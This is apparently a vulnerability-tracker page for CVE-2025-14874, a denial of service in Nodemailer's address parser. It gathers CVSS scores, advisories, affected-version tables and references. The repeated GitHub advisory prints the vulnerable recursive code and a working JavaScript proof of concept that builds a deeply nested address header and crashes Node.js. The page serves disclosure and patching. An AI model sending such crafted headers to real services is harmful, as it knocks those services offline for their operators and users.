CVE-2025-14874
Nodemailer: nodemailer: denial of service via crafted email address header
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Nodemailer: nodemailer: denial of service via crafted email address header
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
- Record
CVE-2025-14874- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-703
- Updated
- 2026-11-02
EUVDEUVD-2025-204250
7.5
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
- Record
EUVD-2025-204250- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-46j5-6fg5-4gv3
5.3
Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.
Original Description
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
- Record
GHSA-46j5-6fg5-4gv3- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-674, CWE-703
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-rcmh-qjqh-p98v
7.5
Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls
Summary
A DoS can occur that immediately halts the system due to the use of an unsafe function.
Details
According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS
RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js:
https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90
there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:
g0: g1: g2: g3: ... gN: [email protected];
Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.
The problematic code section is as follows:
if (isGroup) {
...
if (data.group.length) {
let parsedGroup = addressparser(data.group.join(',')); // <- boom!
parsedGroup.forEach(member => {
if (member.group) {
groupMembers = groupMembers.concat(member.group);
} else {
groupMembers.push(member);
}
});
}
}
data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.
PoC
const nodemailer = require('nodemailer');
function buildDeepGroup(depth) {
let parts = [];
for (let i = 0; i < depth; i++) {
parts.push(`g${i}:`);
}
return parts.join(' ') + ' [email protected];';
}
const DEPTH = 3000; // <- control depth
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);
const transporter = nodemailer.createTransport({
streamTransport: true,
buffer: true,
newline: 'unix'
});
console.log('parsing start');
transporter.sendMail(
{
from: '[email protected]',
to: toHeader,
subject: 'test',
text: 'test'
},
(err, info) => {
if (err) {
console.error('error:', err);
} else {
console.log('finished :', info && info.envelope);
}
}
);
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.
Impact
The attacker can achieve the following:
- Force an immediate crash of any server/service that uses Nodemailer
- Kill the backend process with a single web request
- In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”
- Record
GHSA-rcmh-qjqh-p98v- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-703
- Updated
- 2026-11-02
NVD
7.5
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
- Record
CVE-2025-14874- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-703
- Updated
- 2026-11-02
OSV
7.5
Nodemailer: nodemailer: denial of service via crafted email address header
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
- Record
CVE-2025-14874- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-703
- Updated
- 2026-11-02
Show 7 moreShow less
OSVDEBIAN-CVE-2025-14874
7.5
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
- Record
DEBIAN-CVE-2025-14874- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVGHSA-46j5-6fg5-4gv3
5.3
Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.
Original Description
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
- Record
GHSA-46j5-6fg5-4gv3- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-674, CWE-703
- Updated
- 2026-11-02
OSVGHSA-rcmh-qjqh-p98v
7.5
Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls
Summary
A DoS can occur that immediately halts the system due to the use of an unsafe function.
Details
According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS
RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js:
https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90
there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:
g0: g1: g2: g3: ... gN: [email protected];
Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.
The problematic code section is as follows:
if (isGroup) {
...
if (data.group.length) {
let parsedGroup = addressparser(data.group.join(',')); // <- boom!
parsedGroup.forEach(member => {
if (member.group) {
groupMembers = groupMembers.concat(member.group);
} else {
groupMembers.push(member);
}
});
}
}
data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.
PoC
const nodemailer = require('nodemailer');
function buildDeepGroup(depth) {
let parts = [];
for (let i = 0; i < depth; i++) {
parts.push(`g${i}:`);
}
return parts.join(' ') + ' [email protected];';
}
const DEPTH = 3000; // <- control depth
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);
const transporter = nodemailer.createTransport({
streamTransport: true,
buffer: true,
newline: 'unix'
});
console.log('parsing start');
transporter.sendMail(
{
from: '[email protected]',
to: toHeader,
subject: 'test',
text: 'test'
},
(err, info) => {
if (err) {
console.error('error:', err);
} else {
console.log('finished :', info && info.envelope);
}
}
);
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.
Impact
The attacker can achieve the following:
- Force an immediate crash of any server/service that uses Nodemailer
- Kill the backend process with a single web request
- In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”
- Record
GHSA-rcmh-qjqh-p98v- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-703
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2025-14874
7.5
CVE-2025-14874 in nodemailer - Patched by Root
Root has patched CVE-2025-14874 in the nodemailer package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2025-14874- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-14874
7.5
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
- Record
UBUNTU-CVE-2025-14874- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1775003161 No score
TuxCare security update for nodemailer (6 CVEs)
TuxCare rebuilt nodemailer to address 6 CVEs. Fixed in 2.7.2-tuxcare.1.
- Record
CLSA-2026-1775003161- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-46j5-6fg5-4gv3 No score
GHSA-46j5-6fg5-4gv3 in nodemailer - Patched by Root
Root has patched GHSA-46j5-6fg5-4gv3 in the nodemailer package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-46j5-6fg5-4gv3- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
nodemailernpm |
3.0.0 to 7.0.10 | 7.0.11 |
org.webjars.npm:nodemailerMaven |
3.0.0 to 6.10.1 | None known |
nodemailerTuxCare:npm From an advisory covering 4 CVEs |
2.7.2-tuxcare.0 up to 2.7.2-tuxcare.1, plus listed versions 2.7.2 |
2.7.2-tuxcare.1 |
node-nodemailerDebian:12 |
All versions, plus listed versions 10.0.0+~8.0.1-110.0.10+~8.0.1-110.0.10+~8.0.2-110.0.13+~8.0.2-110.0.14+~8.0.2-1 Show 25 moreShow less10.1.7+~8.0.2-16.10.0+~6.4.17-16.8.0+~6.4.6-16.9.13+~6.4.14-16.9.15+~6.4.16-16.9.16+~6.4.16-16.9.4+~6.4.9-16.9.4+~6.4.9-26.9.4+~6.4.9-36.9.4+~6.4.9-47.0.10+~7.0.2-17.0.12+~7.0.5-17.0.5+~7.0.1-17.0.6+~7.0.1-17.0.9+~7.0.2-17.0.9+~7.0.2-28.0.11+~8.0.1-18.0.2+~7.0.11-18.0.3+~7.0.11-18.0.4+~7.0.11-18.0.4+~7.0.11-29.0.0+~8.0.1-19.0.3+~8.0.1-19.0.5+~8.0.1-19.0.6+~8.0.1-1 |
None known |
node-nodemailerDebian:13 |
All versions, plus listed versions 10.0.0+~8.0.1-110.0.10+~8.0.1-110.0.10+~8.0.2-110.0.13+~8.0.2-110.0.14+~8.0.2-1 Show 18 moreShow less10.1.7+~8.0.2-16.10.0+~6.4.17-16.10.0+~6.4.17-1+deb13u17.0.10+~7.0.2-17.0.12+~7.0.5-17.0.5+~7.0.1-17.0.6+~7.0.1-17.0.9+~7.0.2-17.0.9+~7.0.2-28.0.11+~8.0.1-18.0.2+~7.0.11-18.0.3+~7.0.11-18.0.4+~7.0.11-18.0.4+~7.0.11-29.0.0+~8.0.1-19.0.3+~8.0.1-19.0.5+~8.0.1-19.0.6+~8.0.1-1 |
None known |
node-nodemailerDebian:14 |
before 7.0.12+~7.0.5-1, plus listed versions 6.10.0+~6.4.17-17.0.10+~7.0.2-17.0.5+~7.0.1-17.0.6+~7.0.1-17.0.9+~7.0.2-17.0.9+~7.0.2-2 |
7.0.12+~7.0.5-1 |
nodemailernpm |
3.0.0 up to 7.0.11 | 7.0.11 |
org.webjars.npm:nodemailerMaven |
3.0.0 to 6.10.1, plus listed versions 4.6.56.3.1 |
None known |
nodemailerRoot:npm |
before 6.10.1-aikido.10 | 6.10.1-aikido.106.10.1-aikido.117.0.9-aikido.36.10.1-aikido.26.10.1-aikido.126.10.1-aikido.96.9.15-aikido.46.10.1-aikido.87.0.9-aikido.46.10.1-aikido.36.10.1-aikido.47.0.9-aikido.56.10.1-aikido.57.0.9-aikido.66.10.1-aikido.67.0.9-aikido.77.0.9-aikido.86.10.1-aikido.136.10.1-aikido.14 |
@rootio/nodemailerRoot:npm |
before 6.10.1-root.io.10 | 6.10.1-root.io.106.9.15-root.io.17.0.9-root.io.16.9.15-root.io.26.10.1-root.io.117.0.9-root.io.37.0.9-root.io.26.9.15-root.io.36.10.1-root.io.26.10.1-root.io.126.10.1-root.io.96.10.1-root.io.16.9.15-root.io.46.10.1-root.io.87.0.9-root.io.46.10.1-root.io.36.10.1-root.io.47.0.9-root.io.56.10.1-root.io.57.0.9-root.io.66.10.1-root.io.67.0.9-root.io.77.0.9-root.io.86.10.1-root.io.136.10.1-root.io.14 |
Show 8 moreShow less
| Package | Affected | Fixed |
|---|---|---|
nodemailerRoot:npm |
before 7.0.11-aikido.6 | 7.0.11-aikido.67.0.11-aikido.77.0.11-aikido.57.0.11-aikido.17.0.11-aikido.27.0.11-aikido.37.0.11-aikido.47.0.11-aikido.87.0.11-aikido.9 |
@rootio/nodemailerRoot:npm |
before 7.0.11-root.io.6 | 7.0.11-root.io.67.0.11-root.io.77.0.11-root.io.57.0.11-root.io.17.0.11-root.io.27.0.11-root.io.37.0.11-root.io.47.0.11-root.io.87.0.11-root.io.9 |
node-nodemailerUbuntu:20.04:LTS |
All versions, plus listed versions 6.3.0-26.3.1-16.4.0-16.4.1-16.4.2-16.4.5-1 |
None known |
node-nodemailerUbuntu:22.04:LTS |
All versions, plus listed versions 6.4.17-36.7.0-16.7.0-26.7.1+~6.4.4-1 |
None known |
node-nodemailerUbuntu:24.04:LTS |
All versions, plus listed versions 6.9.4+~6.4.9-26.9.4+~6.4.9-3ubuntu16.9.4+~6.4.9-4 |
None known |
node-nodemailerUbuntu:25.10 |
All versions, plus listed versions 6.10.0+~6.4.17-17.0.5+~7.0.1-1 |
None known |
node-nodemailerUbuntu:26.10 |
All versions, plus listed versions 8.0.4+~7.0.11-18.0.4+~7.0.11-29.0.0+~8.0.1-19.0.3+~8.0.1-19.0.5+~8.0.1-1 |
None known |
node-nodemailerUbuntu:26.04:LTS |
All versions, plus listed versions 7.0.5+~7.0.1-17.0.9+~7.0.2-27.0.10+~7.0.2-17.0.12+~7.0.5-18.0.4+~7.0.11-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-14874 is a high vulnerability (CVSS 7.5) in Nodemailer, published December 1, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.60%, the 48th percentile. Fixed in nodemailer 7.0.11.
References
access.redhat.com/security/cve/CVE-2025-14874
bugzilla.redhat.com/show_bug.cgi?id=2418133
github.com/nodemailer/nodemailer
github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150
github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v
nvd.nist.gov/vuln/detail/CVE-2025-14874
Show 8 moreShow less
github.com/advisories/GHSA-46j5-6fg5-4gv3
github.com/nodemailer/nodemailer/commit/6218b8df
github.com/advisories/GHSA-rcmh-qjqh-p98v
access.redhat.com/downloads/content/package-browser
github.com/CVEProject/cvelistV5/tree/main/cves/2025/14xxx/CVE-2025-14874.json
security-tracker.debian.org/tracker/CVE-2025-14874
ubuntu.com/security/CVE-2025-14874
cve.org/CVERecord?id=CVE-2025-14874